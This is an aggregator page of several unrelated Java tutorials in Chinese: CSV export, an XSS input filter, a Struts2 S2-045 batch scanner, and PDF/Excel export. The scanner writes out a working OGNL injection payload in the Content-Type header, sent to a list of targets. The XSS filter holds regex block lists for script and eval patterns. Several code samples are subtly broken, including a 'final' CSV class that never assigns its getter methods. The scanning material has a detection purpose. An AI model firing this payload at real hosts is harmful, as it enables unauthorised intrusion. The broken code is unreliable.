精华内容
下载资源
问答
  • java 导出CSV文件踩坑记

    千次阅读 2018-11-21 20:03:21
    之前做了一个CSV导出的小功能,然后踩了很多坑。最后蓦然回首,发现真的好简单,自己给自己挖了很多坑,简单的功能被自己弄的异常复杂。 作为一个聪明的程序员,我肯定不会重复造轮子,就在网上随便找了一份代码。...
    CSV简介

    CSV全称是:Comma Separated Values (逗号分隔值)或者 Character Separated Values(字符分隔值)。其文件以纯文本形式存储表格数据(数字和文本)。CSV文件由任意数目的记录组成,记录间以某种换行符分隔;每条记录由字段组成,字段间的分隔符是其它字符或字符串,最常见的是逗号或制表符。每一行记录位于一个单独的行上,用回车换行符CRLF(也就是\r\n)分割。

    • 对于excel来说默认使用 ,进行分割数据。
    • 每一行记录最后一个字段后不能跟逗号
    • 每一行一条记录
    • 列为空需要指定 ""
    • 用回车换行符CRLF(\r\n)分割每条记录
    • 纯文本,使用某个字符集,比如ASCII、Unicode、EBCDIC或GB2312;

    上面的内容从百科上总结(抄袭)的。

    我的踩坑经历

    之前做了一个CSV导出的小功能,然后踩了很多坑。最后蓦然回首,发现真的好简单,自己给自己挖了很多坑,简单的功能被自己弄的异常复杂。

    作为一个聪明的程序员,我肯定不会重复造轮子,就在网上随便找了一份代码。然后噩梦从此开始。

    我比较懒,所以使用反射来减轻我的工作量
    我的最初版本

    public class ExportCSVUtil<T>{
    	private Class<T> cls;//数据类型
    	private List<T> list; //存放需要填充的数据
    	private List<Method> methods;//存储get方法
    	
    	/**
    	 * 构造方法
    	 * @param list 填充数据
    	 * @param cls 数据类型
    	 * @throws Exception
    	 */
    	public ExportCSVUtil(List<T> list,Class<T> cls) throws Exception{
    		this.list=list;
    		this.cls=cls;
    		parse();
    	}
    	
    		
    	public  void doExport(OutputStream out) throws IOException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
    			OutputStreamWriter outputStreamWriter =new OutputStreamWriter(out,"utf8");
    			BufferedWriter writer = new BufferedWriter(outputStreamWriter);//使用缓冲流,比较适合写文本操作,效率可能也会高些
    			writeBody(writer,list); 
    			outputStreamWriter.flush();
    			outputStreamWriter.close();
    	}
    	
    	/**
    	*向输出流中写数据
    	* @param list 填充数据
    	* @param writer 缓冲流
    	*/
    	public void writeBody(BufferedWriter writer,List<T> list){
    		
    		int i=0;
    		int length = methods.length;
    		for(T obj: list){
    			for(Method method: methods){
    				Object result= method.invoke(obj,new Object[]);// 反射获取get方法的值
    				String str=null;
    				if(result==null) //处理空值
    					str="";
    				else
    					str=result.toString();
    				if(i++ <=length-1)	
    					writer.write("\""+str+"\","); //文本用双引号包裹
    				else
    					writer.write("\""+str+"\""); //最后的元素需要使用换行符而不是“,” 需要特别注意
    			}
    			writer.newLine();
    		}
    	
    	}
    
    	/**
    	*根据数据类型,解析元素
    	*/
    	private void parse() throws SecurityException {
    		Field[] fields = cls.getDeclaredFields();
    		for(Field field : fields) {
    			String fieldName = field.getName();
    			try{
    				Method method =cls.getDeclaredMethod("get"+StringUtils.capitalize(fieldName));//根据名称方法
    			}catch(NoSuchMethodException e){
    			}
    			if(method==null)
    				throw new IllegalStateException(cls+"  未获取属性为\t"+fieldName+"的get方法");
    			methods.add(method);//获取所有定义在实体类的get方法
    		}
    	}
    }
    
    
    1. 中文乱码

    问题就是那么不期而遇,首先 中文乱码啦。在网上又是一通找,发现只需要开始时向流中写入BOM(0xEF0xBB0xBF),该方式告诉excel打开该文件时以utf8编码打开

    public  void doExport(OutputStream out) throws IOException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
    			byte[] bytes =new byte[] {(byte)0xEF,(byte)0xBB,(byte)0xBF}; //utf8编码
    			out.write(bytes);
    			
    			//其他逻辑
    	}
    
    2. 数据错行

    以为大功告成了,结果问题悄悄的来却不肯走。数据错行了,效果图大致如下在这里插入图片描述
    排查了一下原因发现是包裹的数据有换行。然后就使用正则去掉了\n

    int i=0;
    int length = methods.length;
    for(Method method: methods){
    				Object result= method.invoke(obj,new Object[]);
    				String str=null;
    				if(result==null)
    					str="";
    				else
    					str=result.toString().replaceAll("[/r/n]"," ");
    				if(i++ <=length-1)	
    					writer.write("\""+str+"\","); //文本用双引号包裹
    				else
    					writer.write("\""+str+"\""); //最后的元素需要使用换行符而不是“,” 需要特别注意
    			}
    
    3. 数据错列

    忙了很多时间,总以为现在改好了,没想到生活不如意。数据又错列了,数据从英文逗号处被分成两份。
    在这里插入图片描述是谁告诉我,逗号使用"“包裹就没事的。可能我的搜索方式有问题,在网上也没找到合适的答案。然后去查了一下百科,发现出错的原因,竟然是它!它!它!。是它就是它,我烦恼的根源双引号(”)。因为有一个数据库字段存储的是爬取的html元素信息,里面包含了很多双引号,所以就出问题了。

    原来如果文本中有双引号,需要做处理(转义?)就像这样 " 变成 “” ,一个双引号变成两个双引号。

    例如下面的这段内容

    <p class="aa" > asdsd"</p>
    
    

    我们需要转化为下面的格式

    <p class=""aa""> asdsd""</p>
    

    使用String内置方法replaceAll,使用简单的正则替换就可以了

    content.replaceAll("\"","\"\"");
    

    这样分割字符逗号和换行都不会捣乱了,然后就没有然后了,这种方式治疗了我多年的腰间盘,使用之后极度舒适。

    int i=0;
    int length = methods.length;
    for(Method method: methods){
    				Object result= method.invoke(obj,new Object[]);
    				String str=null;
    				if(result==null)
    					str=" ";
    				else
    					str=result.toString().replaceAll("\"","\"\"");//它会保证逗号和分隔符保证不会在捣乱了
    				if(i++ <=length-1)	
    					writer.write("\""+str+"\","); //文本用双引号包裹
    				else
    					writer.write("\""+str+"\""); //最后的元素需要使用换行符而不是“,” 需要特别注意
    }
    
    4. 日期格式显示不正确(#####)

    大概这是最后一个问题了吧。希望是

    解决方式比较简单,前面添加制表符,如果还是不显示那就加两个。原因可能跟excel差不多,默认只能显示指定长度的数字,超过指定长度或者列不够宽所以就显示####

    writer.write("\t"+str);
    
    5. 我疯了,又特曼出问题了

    原以为万事大吉,结果在测试的时候又抛出一个致命的问题。又错列了,折腾了半天,在同事的帮助下才定位到了问题。原来excel的单元格可以存放的字符是有数量限制的,而出问题的那个数据,字符数量特别多。那也没什么好的建议,要么截取数据,要么将数据分段存放在多个字段中。

    另外Microsoft 和wps的处理方式不一样,Microsoft 中 excel会显示超出的文字(这就是显示出错的那部分数据),而wps会截取数据显示(只是显示差异,原始数据没有修改)。

    经过测试发现Microsoft excel(2016)中每个单元格可以存放32767个字符(汉字也可以存放32767个)。网上都说只可以显示1024个字符,但是实际测试的时候excel 2016 可以显示超过了5000个字符

    在这里插入图片描述
    当字符数大于32767时不可输入

    踩坑完的代码

    最终版本

    import java.io.BufferedWriter;
    import java.io.IOException;
    import java.io.OutputStream;
    import java.io.OutputStreamWriter;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import java.util.List;
    
    import org.apache.commons.lang.StringUtils;
    
    public class ExportCSVUtil<T>{
    	private Class<T> cls;//数据类型
    	private List<T> list;//填充数据
    	private List<Method> methods;//存储get方法
    	
    	/**
    	 * 该方式导出csv文件会显示标题
    	 * @param list 填充数据
    	 * @param cls 数据类型
    	 * @throws Exception
    	 */
    	public ExportCSVUtil(List<T> list,Class<T> cls) throws Exception{
    		this.list=list;
    		this.cls=cls;
    		parse();
    	}
    
    	/**
    	 * 调用此方法,将数据写出到指定的文件流中
    	 * @param OutputStream 输出流
    	 * @throws Exception
    	 */	
    	public  void doExport(OutputStream out) throws Exception{
    			byte[] bytes =new byte[] {(byte)0xEF,(byte)0xBB,(byte)0xBF}; //utf8编码
    			out.write(bytes);//写入BOM 
    			OutputStreamWriter outputStreamWriter =new OutputStreamWriter(out,"utf8");
    			BufferedWriter writer = new BufferedWriter(outputStreamWriter);
    			writeBody(writer,list);//写内容
    			outputStreamWriter.flush();
    			outputStreamWriter.close();
    	}
    	
    	/**
    	*写数据
    	 * @throws InvocationTargetException 
    	 * @throws IllegalArgumentException 
    	 * @throws IllegalAccessException 
    	 * @throws IOException 
    	*/
    	public void writeBody(BufferedWriter writer,List<T> list) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException{
    		//数据遍历
    		for(T obj: list){
    			int i=0;
    			int length = methods.size();
    			for(Method method: methods){
    					Object result= method.invoke(obj,new Object[] {});
    					String str=null;
    					if(result==null)//处理空值
    						str="";
    					else
    						str=result.toString().replaceAll("\"","\"\""); //处理文本中的"
    						
    					if(i++ <=length-1)	
    						writer.write("\""+str+"\","); //文本用双引号包裹
    					else
    						writer.write("\""+str+"\""); //最后的元素需要使用换行符而不是“,” 需要特别注意
    				}
    				writer.newLine();//换行
    		}
    	}
    
    	/**
    	* 解析实体类,获取get或者 is方法
    	*/
    	private void parse() throws NoSuchMethodException{
    		Field[] fields = cls.getDeclaredFields();//java文档上其实说过,该方法获取到的列表并不能保证其顺序。严格的来说应该对变量上添加排序的注解,然后对获取到的元素进行重新排序。实际使用的时候,获取到的数组就是声明属性的顺序,可能在某些情况下会有问题。
    		//根据属性获取方法,当然也可以直接获取方法
    		for(Field field : fields) {
    			String fieldName = field.getName();
    			Method method =null;
    			try {
    				//普通get方法   getXnnn
    				cls.getDeclaredMethod("get"+StringUtils.capitalize(fieldName));
    			}catch (Exception e) {
    			}
    			if(method==null) {
    				try {
    					//bool属性对应的方法  isXnn
    					cls.getDeclaredMethod("is"+StringUtils.capitalize(fieldName));
    				}catch (Exception e) {
    				}
    			}
    			//方法不存在时抛出异常
    			if(method==null)
    				throw new NoSuchMethodException(cls+"的属性"+fieldName+"对象没有对应的getter 方法");
    			
    			methods.add(method);//获取getter方法
    		}
    		
    	}
    }
    
    

    注意:

    Returns an array of Field objects reflecting all the fields declared by the class or interface represented by this Class object. This includes public, protected, default (package) access, and private fields, but excludes inherited fields.

    getDeclaredFields 方法会返回类或者接口上定义的所有的属性(无论修饰符是public, protected, default (package) , private,包括静态的属性),但是不包含继承的属性。

    所以parse方法需要根据场景修改,要么规范好实体类不包含不必要的属性,要么使用自定义注解去跳过某个属性,要么直接获取方法(非必要属性不生成get方法)

    try {
        //输出路径
        FileOutputStream outputStream = new FileOutputStream("D:/out/1.csv");
    	// 从数据库获取数据集
    	List<Person> list= service.getPersonList();
    	ExportCSVUtil<Person> utils=new ExportCSVUtil<>(list,Person.class);
    	//将数据集写入到 输出流中
    	utils.doExport(outputStream);
    } catch (FileNotFoundException e) {
       e.printStackTrace();
    }
    

    最后总结一下:

    • 数据从第一行解析
    • 用逗号(或者其他字符)分割每个元素,最后一个元素不需要使用逗号分隔
    • 一行代表一条数据
    • 用回车换行符CRLF(\r\n)分割每条记录。测试发现使用\n每行最后也是显示CRLF
    • 英文逗号必须存放在双引号字符。 “12,aaa” √
    • 双引号字符(")必须是封闭的双引号字符(""),每一个嵌入式双引号字符必须用一对双引号字符。“q"w” --> “q""w”
    • 换行符必须封闭在双引号字符。 “q/n12”

    综上: 文本内容应当存放在""中,并对文本中的"做处理。

    参考:百度百科-CSV

    后记 我理解的excel解析csv文件的规则

    如果想自己解析csv文件,我有一些拙见。虽然不清楚excel具体的解析方式,但掉坑那么久也是有些心得。

    如果文本被双引号包裹,那么:

    • 首先如果文本外存在双引号,那么它总是试图与离自己最近的"匹配,当然这个双引号不包括转义后的双引号("")
    • 如果遇到两个相邻的双引号那么它的优先级比较高,会优先将"“会优先转化为”。对应1
    • 与文本头部双引号匹配成功的双引号不显示,对于没有匹配成功的双引号,会正常显示。对应5,6
    • 当" 匹配成功后,如果其后还有数据,则按正常情况解析。遇到逗号就拆分数据 。对应2
    • 如果文本头部的双引号在换行前没有匹配到双引号,它会一直找下去直到找到它。在此过程中它不会理会逗号或者回车小姐姐抛来的眉眼。所以文本中的逗号(或者其他分隔符)要放在 双引号中。对应 3

    上面说了那么多,先不说有很多错别字,可能语句读起来都不通顺。所以祭出杀器
    在这里插入图片描述

    现在图已经有了,真相还会远吗。

    展开全文
  • JAVA解决XSS漏洞

    千次阅读 2017-09-18 16:34:30
    欢迎使用Markdown编辑器写博客本Markdown编辑器使用StackEdit修改而来,用它写博客,将会带来全新的体验哦: ...导入导出Markdown文件 丰富的快捷键 快捷键 加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl
        **JAVA解决XSS漏洞**
    

    XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。简单的可以理解为在你们页面内容中镶嵌一些恶意的js脚本。
    一般比较容易出现这个问题的是java的jsp页面数据回显包含前台提交的一些恶意的js代码,我们只要针对这些恶意的代码进行过滤掉就好了。
    现在比较流行的就是过滤器,其实原理很简单,我们对httpservletrequest的获取请求参数的方法进行装饰包装就可以,在装饰的过程中对参数中的特殊字符进行过滤掉。

    过滤器:
    public class LoginFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
    
        chain.doFilter(new XSSRequestWrapper((HttpServletRequest) request), response);
    
    }
    @Override
    public void destroy() {
    
    }
    

    }
    HttpServletRequest的装饰类:
    public class XSSRequestWrapper extends HttpServletRequestWrapper {

    public XSSRequestWrapper(HttpServletRequest request) {
        super(request);
    }
    
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
    
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = StringEscapeUtils.escapeHtml4(values[i]);
            encodedValues[i] = cleanXSS(encodedValues[i]);
        }
        return encodedValues;
    }
    
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
    
        return stripXSS(value);
    }
    
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        return stripXSS(value);
    }
    
    private String stripXSS(String value) {
        if (value != null) {
            value = value.replaceAll("", "");
            Pattern scriptPattern = Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
    
            scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
    
            scriptPattern = Pattern.compile("</script>", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
    
            scriptPattern = Pattern.compile("<script(.*?)>",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
    
            scriptPattern = Pattern.compile("eval\\((.*?)\\)",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
    
            scriptPattern = Pattern.compile("e­xpression\\((.*?)\\)",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
    
            scriptPattern = Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
    
            scriptPattern = Pattern.compile("vbscript:", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
    
            scriptPattern = Pattern.compile("onload(.*?)=",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
        }
        return value;
    }
    
    private String cleanXSS(String value) {
        // You'll need to remove the spaces from the html entities below
        value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
        value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
        value = value.replaceAll("'", "& #39;");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
        value = value.replaceAll("script", "");
        return value;
    }
    

    }
    ,别忘记把过滤器配置到web.xml 这样就解决了XSS攻击.

    展开全文
  • 1.文件读取和漏洞检测工具类: import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import ...

    第一步准备方法

    1.文件读取和漏洞检测工具类:

    
    import java.io.BufferedReader;
    import java.io.File;
    import java.io.FileReader;
    import java.io.IOException;
    import java.util.ArrayList;
    import java.util.HashMap;
    import java.util.List;
    import java.util.Map;
    
    /**
     * 工具类
     *
     */
    public class Utils {
    
        /**
         * 读取文件
         * 
         * @param filePath 文件路径
         * @return 返回待检测目标集合
         */
        public static List<String> readFile(String filePath) {
            List<String> target = new ArrayList<>(); // 待检测目标
            File file = new File(filePath); // 读取文件File
    
            if (!file.exists() || file.isDirectory()) {
                throw new RuntimeException("请检查文件是否存在或路径为文件!");
            }
    
            try {
                FileReader fileReader = new FileReader(file);
                BufferedReader reader = new BufferedReader(fileReader);
                String line = null;
                while ((line = reader.readLine()) != null) {
                    target.add(line);
                }
            } catch (IOException e) {
                System.err.println("读取文件异常!");
                // e.printStackTrace();
            }
    
            return target;
        }
    
        /**
         * 漏洞检测方法
         * 
         * @param target 目标
         * 
         */
        public void str045(String target) {
            String payload = "%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm))))."
                    + "(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('exist045')).(#o.close())}";
    
            Map<String, String> headers = new HashMap<>();
            headers.put("User-Agent",
                    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
            headers.put("Content-Type", payload);
    
            String postResponseBody = Req.sendPost(target, "", headers); // 请求的方法还是上节课的方法
            if (postResponseBody.contains("exist045")) {
                System.out.println("[*] exist st2-045: " + target);
            }
        }
    
    }
    

    接下来我们只差一个够把上面这些方法组合起来的主类了!

    第二步主类完善

    import java.util.List;
    
    public class Main {
    
        public static void main(String[] args) {
            String filePath = ""; // 文件路径
            List<String>  target = Utils.readFile(filePath); // 待扫描目标
            for (String t : target) {
                Utils.str045(t); // 检测漏洞
            }
    
        }
    
    }
    

    当然我们这样只能在开发工具中的使用,我们可能希望打包成jar,随时使用!
    那么我们先改造一下程序主类,让它能够接收到参数!

    
    import java.util.List;
    
    public class Main {
    
        public static void main(String[] args) {
            if (args.length == 0) {
                System.out.println("usage: java -jar struts2Detection.jar --file=target.txt");
                return;
            }
    
            String filePath = ""; // 文件路径
            for (String string : args) {
                int len = string.indexOf("--file=");
                if (len > -1) {
                    filePath = string.substring(len + 7, string.length());
                    System.out.println("filePath=" + filePath);
                    break;
                }
            }
    
            List<String> target = Utils.readFile(filePath); // 待扫描目标
            for (String t : target) {
                Utils.str045(t); // 检测漏洞
            }
    
        }
    }
    
    

    下面说下导出成jar的过程:
    对项目右键 - Export - Java - JAR file
    然后选择导出路径

    在经过两次Next之后,会来到一处让我们选择程序入口类,也就是存在Main函数的类,选择之后点击Finish即可!

    使用过程

    ————————————————
    版权声明:本文为CSDN博主「immortalityWang」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/immortalityWang/article/details/81489545

    欢迎访问作者个人技术博客:BlackvonCode(www.blackvon.top)
    作者的微信公众号和小程序
    BlackvonCode

    展开全文
  • >>号外:关注“Java精选”公众号,回复“面试资料”,免费领取资料!“Java精选面试题”小程序,3000+ 道面试题在线刷,最新、最全 Java 面试题!一、序言Excel...

    >>号外:关注“Java精选”公众号,回复“面试资料”,免费领取资料!“Java精选面试题”小程序,3000+ 道面试题在线刷,最新、最全 Java 面试题!

    一、序言

    Excel、PDF的导出、导入是我们工作中经常遇到的一个问题,刚好今天公司业务遇到了这个问题,顺便记个笔记以防下次遇到相同的问题而束手无策。

    公司有这么两个需求:

    需求一、给了一个表单,让把查出来的数据组装到表单中并且提供以PDF格式的下载功能。

    需求二、将数据查出来以Excel表格的形式下载下来。

    二、Java实现PDF的生成和数据动态插入、导出功能

    1、第一步:PDF制作模板

    因为PDF常用的软件不让支持编辑,我们就先使用WPS以Word的形式进行编辑制作出与客户需求一样的样式,然后直接另存为 .pdf 的形式如下图所示:

    1)Word里面制作模板

    2)更改名字为 .pdf形式

    3)这时需要用到一个叫:Adobe Acrobat DC的软件(可以白嫖7天^_^),具体操作如下:

    用Adobe Acrobat DC打开我们刚才改过名字的PDF文件,点击右下角的“更多工具”按钮

    到下面这个页面再点击“准备表单”按钮

    4)接下来就需要详细的配置你的数据源了

    数据源即:你代码中实体类中对应的数据(注意字段一定要一一对应),配置完毕就可以保存进行下面的代码编写工作了。

    2、代码的编写(假定我们实体类什么的都已经编写完成、数据通过前端传入获取、模板位置在E盘根目录下名字为:车辆维修审批单.pdf)
    导入jar包:
    <!-- PDF导出-->
    <!-- https://mvnrepository.com/artifact/com.itextpdf/itextpdf -->
    <dependency>
        <groupId>com.itextpdf</groupId>
        <artifactId>itextpdf</artifactId>
        <version>5.5.13</version>
    </dependency>
    
    实现生成PDF、数据插入、导出
            @RegisterToSMP(serviceDisplay = "预览页面PDF下载")      
            @RequestMapping(value = "/DM/gwclwxsq/qygl/exportPDF$m=query.service",method =RequestMethod.POST) 
            public String exportPdf(@RequestBody GwclwxsqBean gwclwxsqBean , HttpServletResponse response) throws UnsupportedEncodingException {            
                // 1.指定解析器
                System.setProperty("javax.xml.parsers.DocumentBuilderFactory",
                        "com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl");
                String filename="车辆维修审批单.pdf";
                String path="e:/";
                response.setContentType("application/pdf");
                response.setHeader("Content-Disposition", "attachment;fileName="
                        + URLEncoder.encode(filename, "UTF-8"));
                OutputStream os = null;
                PdfStamper ps = null;
                PdfReader reader = null;
                try {
                    os = response.getOutputStream();
                    // 2 读入pdf表单
                    reader = new PdfReader(path+ "/"+filename);
                    // 3 根据表单生成一个新的pdf
                    ps = new PdfStamper(reader, os);
                    // 4 获取pdf表单
                    AcroFields form = ps.getAcroFields();
                    // 5给表单添加中文字体 这里采用系统字体。不设置的话,中文可能无法显示
                    BaseFont bf = BaseFont.createFont("C:/WINDOWS/Fonts/SIMSUN.TTC,1",
                                  BaseFont.IDENTITY_H, BaseFont.EMBEDDED);
                    form.addSubstitutionFont(bf);
                    // 6查询数据================================================
                    Map<String, String> data = new HashMap<String, String>();
                          data.put("commitTime", gwclwxsqBean.getCommitTime());
                          data.put("driver", gwclwxsqBean.getDriver());
                          data.put("carId", gwclwxsqBean.getCarId());
                          data.put("carType", gwclwxsqBean.getCarType());
                          data.put("repairAddress", gwclwxsqBean.getRepairAddress());
                          data.put("repairCost",gwclwxsqBean.getRepairCost());
                          data.put("project", gwclwxsqBean.getProject());
                          data.put("fwbzzxfzrYj", gwclwxsqBean.getFwbzzxfzrYj());
                          data.put("fgldspYj", gwclwxsqBean.getFgldspYj());
                          data.put("remarks", gwclwxsqBean.getRemarks());           
                     // 7遍历data 给pdf表单表格赋值
                    for (String key : data.keySet()) {
                        form.setField(key,data.get(key).toString());
                    }
                    ps.setFormFlattening(true);       
                    log.info("*******************PDF导出成功***********************");
                } catch (Exception e) {          log.error("*******************PDF导出失败***********************");
                    e.printStackTrace();
                } finally {
                    try {
                        ps.close();
                        reader.close();
                        os.close();
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
                return null;
            }
    
    3、测试

    二、Java实现Excel生成和数据插入、导出

    这个比较简单,直接上代码(假定你的实体类、查询什么的都已经写好)注意:实体类一个是你自己的数据实体类还有一个是你导出时表格中对应的实体类

    我们以一个真实的公司业务来举个例子(一个统计疫情登记人员信息的Excel导出功能)。

    另外,利用注解 + 反射优雅的实现通用 Excel 导入导出(通用版附源码):

    利用注解 + 反射优雅的实现通用 Excel 导入导出(通用版附源码)

    https://blog.yoodb.com/yoodb/article/detail/1734

    1)表头对应实体类ExportYqfkdj.java:
    import lombok.Data;
    
    /**
     * description: 
     * @author: zhouhong
     * @version: V1.0.0
     * @date: 2021年1月14日 下午3:05:54
     */
    @Data
    public class ExportYqfkdj {
        /**
         * 序号
         */
        private Integer xuhao;
        /**
         * 姓名
         */
        private String xingming;  
        /**
         * 证件号码
         */
        private String zjhm;
        /**
         * 联系电话
         */
        private String lxdh;    
        /**
         * 申请人工作单位
         */
        private String sqrGzdw;    
        /**
         * 是否接触过疑似病例
         */
        private String sfjcgysbl;
        /**
         * 当前是否与居家隔离人员同住
         */
        private String sfyjjglrytz;    
        /**
         * 当前状态
         */
        private String dqzt;
        /**
         * 当前健康状态
         */
        private String dqjkzt;
    
        /**
         * 当前体温
         */
        private String dqtw;
        /**
         * 当前所在地址
         */
        private String dqszdz;
        /**
         * 当前居住地址
         */
        private String dqjzdz;
        /**
         * 提交时间
         * */
        private String tjsj;
    }
    
    2)Service层
        /**
         * 导出
         * @param yqfkdjBean
         * @author zhouhong
         * @return 
         * @throws Exception
         */
        @Transactional(rollbackFor = { Exception.class })
        public DataResult exporYqfkdj(YqfkdjBean yqfkdjBean) throws Exception {
            DataResult result = new DataResult();
            List<ExportYqfkdj> list = new ArrayList<ExportYqfkdj>();
            try {
                /* 查询导出信息 */
                result = getYqfkMhCXQuery(yqfkdjBean);
                SimpleDateFormat df = new SimpleDateFormat("yyyyMMddhhmmssSSS");
                for (int i = 0; i < result.getTotalcount(); i++) {
                    ExportYqfkdj dmKhfwdcDtjlZxDto = new ExportYqfkdj();
                    dmKhfwdcDtjlZxDto = ObjectUtil.parsePojo(result.getResults().get(i), ExportYqfkdj.class);
                    dmKhfwdcDtjlZxDto.setXuhao(i + 1);
                    list.add(dmKhfwdcDtjlZxDto);
                }
                String filepath = "D:/疫情防控信息" + df.format(new Date()) + ".xlsx";
                if (System.getProperty(YqfkdjUtils.Wjdz.NAME).toLowerCase().startsWith(YqfkdjUtils.Wjdz.LI)
                        || System.getProperty(YqfkdjUtils.Wjdz.NAME).toLowerCase().startsWith(YqfkdjUtils.Wjdz.LIN)) {
                    filepath = "/home/Tomcat/temp/" + df.format(new Date()) + ".xlsx";
                }
                EasyExcel.write(filepath, ExportYqfkdj.class).head(head()).sheet().doWrite(list);
                result.setResults(list);
                result.setSuccess(true);
                result.setMsg(filepath);
            } catch (Exception e) {
                result.setSuccess(false);
                result.setMsg(YqfkdjUtils.Cytx.DCSB);
                e.printStackTrace();
                throw e;
            }
            return result;
        }
        /**
         * 疫情防控信息导出表头
         * @author zhouhong
         * @return List<List<String>>
         */
        private List<List<String>> head() {
            List<List<String>> list = new ArrayList<List<String>>();
            List<String> head0 = new ArrayList<String>();
            head0.add("序号");
            List<String> head1 = new ArrayList<String>();
            head1.add("姓名");
            List<String> head2 = new ArrayList<String>();
            head2.add("证件号码");
            List<String> head3 = new ArrayList<String>();
            head3.add("联系电话");
            List<String> head4 = new ArrayList<String>();
            head4.add("工作所在单位");
            List<String> head5 = new ArrayList<String>();
            head5.add("是否接触疑似病例");
            List<String> head6 = new ArrayList<String>();
            head6.add("是否与隔离人员同住");
            List<String> head7 = new ArrayList<String>();
            head7.add("当前状态");
            List<String> head8 = new ArrayList<String>();
            head8.add("当前健康状态");
            List<String> head9 = new ArrayList<String>();
            head9.add("体温(°C)");
            List<String> head10 = new ArrayList<String>();
            head10.add("当前所在地址");
            List<String> head11 = new ArrayList<String>();
            head11.add("当前居住地址");
            List<String> head12 = new ArrayList<String>();
            head12.add("提交时间");
            list.add(head0);
            list.add(head1);
            list.add(head2);
            list.add(head3);
            list.add(head4);
            list.add(head5);
            list.add(head6);
            list.add(head7);
            list.add(head8);
            list.add(head9);
            list.add(head10);
            list.add(head11);
            list.add(head12);
            return list;
        }
    
    3)Controller层
        @RegisterToSMP(serviceDisplay = "疫情防控查询导出")
        @RequestMapping(value = "/DM/yqfkdj/gr/yqfkdjdc$m=export.service", method = RequestMethod.POST)
        public void exportKhfxxx(@RequestBody YqfkdjBean yqfkdjBean, HttpServletResponse resp) throws Exception {
            DataResult result = new DataResult();
            try {
                SimpleDateFormat df = new SimpleDateFormat("yyyyMMddhhmmssSSS");
                result = yqfkdjService.exporYqfkdj(yqfkdjBean);
                String filepath = result.getMsg().replace("\"", "");
                File file = new File(filepath);
                String filename = "疫情防控信息" + df.format(new Date()) + ".xlsx";
                InputStream fis = new BufferedInputStream(new FileInputStream(filepath));
                byte[] buffer = new byte[fis.available()];
                fis.read(buffer);
                fis.close();
                resp.reset();
                resp.setHeader("Content-Disposition",
                        "attachment;filename=" + new String(filename.replaceAll(" ", "").getBytes("gbk")));
                resp.setHeader("Content-Length", "" + file.length());
                OutputStream os = new BufferedOutputStream(resp.getOutputStream());
                resp.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet");
                // 输出文件
                os.write(buffer);
                os.flush();
                os.close();
            } catch (Exception e) {
                e.printStackTrace();
                log.info(YqfkdjUtils.Cytx.DCSB);
                throw e;
            }
        }
    
    4)测试

    已经全部完成PDF和Excel的生成、插入、导出功能。

    作者:Tom-shushu

    cnblogs.com/Tom-shushu/p/14279357.html

    往期精选  点击标题可跳转

    利用注解 + 反射优雅的实现通用 Excel 导入导出(通用版附源码)

